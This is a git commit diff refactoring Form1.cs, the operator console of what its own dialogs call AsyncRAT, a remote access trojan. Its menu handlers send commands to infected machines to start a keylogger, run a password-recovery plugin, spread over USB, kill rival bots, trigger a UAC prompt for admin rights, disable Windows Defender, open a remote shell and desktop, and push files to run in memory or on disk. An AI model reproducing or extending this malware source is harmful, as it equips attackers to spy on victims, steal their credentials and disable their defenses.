Update Form1.cs
This commit is contained in:
parent
e1b32b5cfd
commit
27aefc3368
@ -41,6 +41,8 @@ namespace Server
|
||||
private List<AsyncTask> getTasks = new List<AsyncTask>();
|
||||
private ListViewColumnSorter lvwColumnSorter;
|
||||
|
||||
|
||||
#region Form Helper
|
||||
private void CheckFiles()
|
||||
{
|
||||
try
|
||||
@ -70,6 +72,68 @@ namespace Server
|
||||
}
|
||||
|
||||
|
||||
private Clients[] GetSelectedClients()
|
||||
{
|
||||
lock (Settings.LockListviewClients)
|
||||
{
|
||||
List<Clients> clientsList = new List<Clients>();
|
||||
Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
if (listView1.SelectedItems.Count == 0) return;
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
clientsList.Add((Clients)itm.Tag);
|
||||
}
|
||||
}));
|
||||
return clientsList.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private Clients[] GetAllClients()
|
||||
{
|
||||
lock (Settings.LockListviewClients)
|
||||
{
|
||||
List<Clients> clientsList = new List<Clients>();
|
||||
Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
if (listView1.Items.Count == 0) return;
|
||||
foreach (ListViewItem itm in listView1.Items)
|
||||
{
|
||||
clientsList.Add((Clients)itm.Tag);
|
||||
}
|
||||
}));
|
||||
return clientsList.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void Connect()
|
||||
{
|
||||
try
|
||||
{
|
||||
string[] ports = Properties.Settings.Default.Ports.Split(',');
|
||||
foreach (var port in ports)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(port))
|
||||
{
|
||||
listener = new Listener();
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
||||
thread.IsBackground = true;
|
||||
thread.Start(Convert.ToInt32(port.ToString().Trim()));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
|
||||
#region Form Events
|
||||
private async void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
@ -110,28 +174,17 @@ namespace Server
|
||||
}
|
||||
}
|
||||
|
||||
private void Connect()
|
||||
private void Form1_Activated(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
if (trans)
|
||||
this.Opacity = 1.0;
|
||||
}
|
||||
|
||||
private void Form1_Deactivate(object sender, EventArgs e)
|
||||
{
|
||||
string[] ports = Properties.Settings.Default.Ports.Split(',');
|
||||
foreach (var port in ports)
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(port))
|
||||
{
|
||||
listener = new Listener();
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
||||
thread.IsBackground = true;
|
||||
thread.Start(Convert.ToInt32(port.ToString().Trim()));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
this.Opacity = 0.95;
|
||||
}
|
||||
|
||||
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
notifyIcon1.Dispose();
|
||||
@ -156,6 +209,33 @@ namespace Server
|
||||
}
|
||||
}
|
||||
|
||||
private void ListView1_ColumnClick(object sender, ColumnClickEventArgs e)
|
||||
{
|
||||
if (e.Column == lvwColumnSorter.SortColumn)
|
||||
{
|
||||
if (lvwColumnSorter.Order == SortOrder.Ascending)
|
||||
{
|
||||
lvwColumnSorter.Order = SortOrder.Descending;
|
||||
}
|
||||
else
|
||||
{
|
||||
lvwColumnSorter.Order = SortOrder.Ascending;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
lvwColumnSorter.SortColumn = e.Column;
|
||||
lvwColumnSorter.Order = SortOrder.Ascending;
|
||||
}
|
||||
|
||||
this.listView1.Sort();
|
||||
}
|
||||
|
||||
|
||||
#endregion
|
||||
|
||||
|
||||
#region Timers
|
||||
private void ping_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.Items.Count > 0)
|
||||
@ -178,6 +258,27 @@ namespace Server
|
||||
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
|
||||
}
|
||||
|
||||
private void GetThumbnails_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.Items.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
|
||||
foreach (ListViewItem itm in listView1.Items)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
|
||||
private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
@ -199,36 +300,6 @@ namespace Server
|
||||
}
|
||||
}
|
||||
|
||||
private void Form1_Activated(object sender, EventArgs e)
|
||||
{
|
||||
if (trans)
|
||||
this.Opacity = 1.0;
|
||||
}
|
||||
|
||||
private void Form1_Deactivate(object sender, EventArgs e)
|
||||
{
|
||||
this.Opacity = 0.95;
|
||||
}
|
||||
|
||||
private void GetThumbnails_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.Items.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
|
||||
foreach (ListViewItem itm in listView1.Items)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void STARTToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.Items.Count > 0)
|
||||
@ -408,7 +479,7 @@ namespace Server
|
||||
{
|
||||
try
|
||||
{
|
||||
if (getTasks.Count > 0 && Settings.Online.Count > 0)
|
||||
if (getTasks.Count > 0 && GetAllClients().Length > 0)
|
||||
foreach (AsyncTask asyncTask in getTasks.ToList())
|
||||
{
|
||||
if (GetListview(asyncTask.id) == false)
|
||||
@ -417,7 +488,8 @@ namespace Server
|
||||
Debug.WriteLine("task removed");
|
||||
return;
|
||||
}
|
||||
foreach (Clients client in Settings.Online.ToList())
|
||||
|
||||
foreach (Clients client in GetAllClients())
|
||||
{
|
||||
if (!asyncTask.doneClient.Contains(client.ID))
|
||||
{
|
||||
@ -458,31 +530,8 @@ namespace Server
|
||||
}
|
||||
}
|
||||
|
||||
private void ListView1_ColumnClick(object sender, ColumnClickEventArgs e)
|
||||
{
|
||||
if (e.Column == lvwColumnSorter.SortColumn)
|
||||
{
|
||||
if (lvwColumnSorter.Order == SortOrder.Ascending)
|
||||
{
|
||||
lvwColumnSorter.Order = SortOrder.Descending;
|
||||
}
|
||||
else
|
||||
{
|
||||
lvwColumnSorter.Order = SortOrder.Ascending;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
lvwColumnSorter.SortColumn = e.Column;
|
||||
lvwColumnSorter.Order = SortOrder.Ascending;
|
||||
}
|
||||
|
||||
this.listView1.Sort();
|
||||
}
|
||||
|
||||
private void TOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -505,9 +554,8 @@ namespace Server
|
||||
// github.com/Artiist/RunPE-Process-Protection
|
||||
}
|
||||
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
@ -521,11 +569,8 @@ namespace Server
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async void TODISKToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -536,9 +581,8 @@ namespace Server
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
||||
msgpack.ForcePathObject("Update").AsString = "false";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
client.LV.ForeColor = Color.Red;
|
||||
foreach (string file in openFileDialog.FileNames)
|
||||
{
|
||||
@ -555,13 +599,12 @@ namespace Server
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void CLEARToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
lock (Settings.Listview2Lock)
|
||||
lock (Settings.LockListviewLogs)
|
||||
{
|
||||
listView2.Items.Clear();
|
||||
}
|
||||
@ -570,8 +613,6 @@ namespace Server
|
||||
}
|
||||
|
||||
private void VisitWebsiteToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -583,20 +624,16 @@ namespace Server
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "visitURL";
|
||||
msgpack.ForcePathObject("URL").AsString = url;
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void SendMessageBoxToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
|
||||
if (string.IsNullOrEmpty(Msgbox))
|
||||
@ -606,18 +643,14 @@ namespace Server
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
|
||||
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -628,10 +661,7 @@ namespace Server
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||
msgpack.ForcePathObject("Quality").AsInteger = 30;
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID];
|
||||
if (remoteDesktop == null)
|
||||
@ -647,26 +677,19 @@ namespace Server
|
||||
remoteDesktop.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void KeyloggerToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("isON").AsString = "true";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
|
||||
if (KL == null)
|
||||
@ -681,8 +704,6 @@ namespace Server
|
||||
KL.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
@ -692,12 +713,7 @@ namespace Server
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormChat shell = (FormChat)Application.OpenForms["chat:" + client.ID];
|
||||
if (shell == null)
|
||||
@ -711,8 +727,6 @@ namespace Server
|
||||
};
|
||||
shell.Show();
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
@ -721,16 +735,11 @@ namespace Server
|
||||
private void FileManagerToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
||||
if (fileManager == null)
|
||||
@ -746,25 +755,20 @@ namespace Server
|
||||
fileManager.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery);
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
@ -773,21 +777,15 @@ namespace Server
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessManagerToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Option").AsString = "List";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
|
||||
if (processManager == null)
|
||||
@ -802,24 +800,19 @@ namespace Server
|
||||
processManager.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void BotsKillerToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "botKiller";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
new HandleLogs().Addmsg("Sending Botkiller..", Color.Black);
|
||||
@ -827,20 +820,16 @@ namespace Server
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void USBSpreadToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread);
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
new HandleLogs().Addmsg("Sending USB Spread..", Color.Black);
|
||||
@ -848,11 +837,8 @@ namespace Server
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void RunToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -865,75 +851,60 @@ namespace Server
|
||||
msgpack.ForcePathObject("Packet").AsString = "reportWindow";
|
||||
msgpack.ForcePathObject("Option").AsString = "run";
|
||||
msgpack.ForcePathObject("Title").AsString = title;
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void StopToolStripMenuItem2_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "reportWindow";
|
||||
msgpack.ForcePathObject("Option").AsString = "stop";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "close";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void RestartToolStripMenuItem2_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "restart";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private async void UpdateToolStripMenuItem2_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
@ -945,9 +916,8 @@ namespace Server
|
||||
await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
|
||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
|
||||
msgpack.ForcePathObject("Update").AsString = "true";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
@ -955,11 +925,8 @@ namespace Server
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void UninstallToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
DialogResult dialogResult = MessageBox.Show(this, "Are you sure you want to unistall", "AsyncRAT | Unistall", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
|
||||
if (dialogResult == DialogResult.Yes)
|
||||
@ -968,86 +935,69 @@ namespace Server
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void RestartToolStripMenuItem3_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "pcOptions";
|
||||
msgpack.ForcePathObject("Option").AsString = "restart";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void ShutdownToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "pcOptions";
|
||||
msgpack.ForcePathObject("Option").AsString = "shutdown";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void LogoffToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "pcOptions";
|
||||
msgpack.ForcePathObject("Option").AsString = "logoff";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
client.LV.ForeColor = Color.Red;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void ShowFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID);
|
||||
if (Directory.Exists(fullPath))
|
||||
{
|
||||
@ -1057,31 +1007,22 @@ namespace Server
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void SeedTorrentToolStripMenuItem1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
using (FormTorrent formTorrent = new FormTorrent())
|
||||
{
|
||||
formTorrent.ShowDialog();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "shell";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
|
||||
if (shell == null)
|
||||
@ -1096,8 +1037,6 @@ namespace Server
|
||||
shell.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
@ -1167,8 +1106,6 @@ namespace Server
|
||||
}
|
||||
|
||||
private void GetAdminPrivilegesToolStripMenuItem_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
DialogResult dialogResult = MessageBox.Show(this, "Popup UAC prompt? ", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
|
||||
if (dialogResult == DialogResult.Yes)
|
||||
@ -1177,11 +1114,10 @@ namespace Server
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "uac";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
if (itm.SubItems[lv_admin.Index].Text != "Administrator")
|
||||
if (client.LV.SubItems[lv_admin.Index].Text != "Administrator")
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
@ -1189,11 +1125,8 @@ namespace Server
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DisableWindowsDefenderToolStripMenuItem_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
DialogResult dialogResult = MessageBox.Show(this, "Will only execute on clients with administrator privileges!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
|
||||
if (dialogResult == DialogResult.Yes)
|
||||
@ -1202,11 +1135,10 @@ namespace Server
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "defender";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
if (itm.SubItems[lv_admin.Index].Text == "Admin")
|
||||
if (client.LV.SubItems[lv_admin.Index].Text == "Admin")
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
@ -1214,57 +1146,43 @@ namespace Server
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DisableNetStatToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "netStat";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
foreach (Clients client in GetSelectedClients())
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
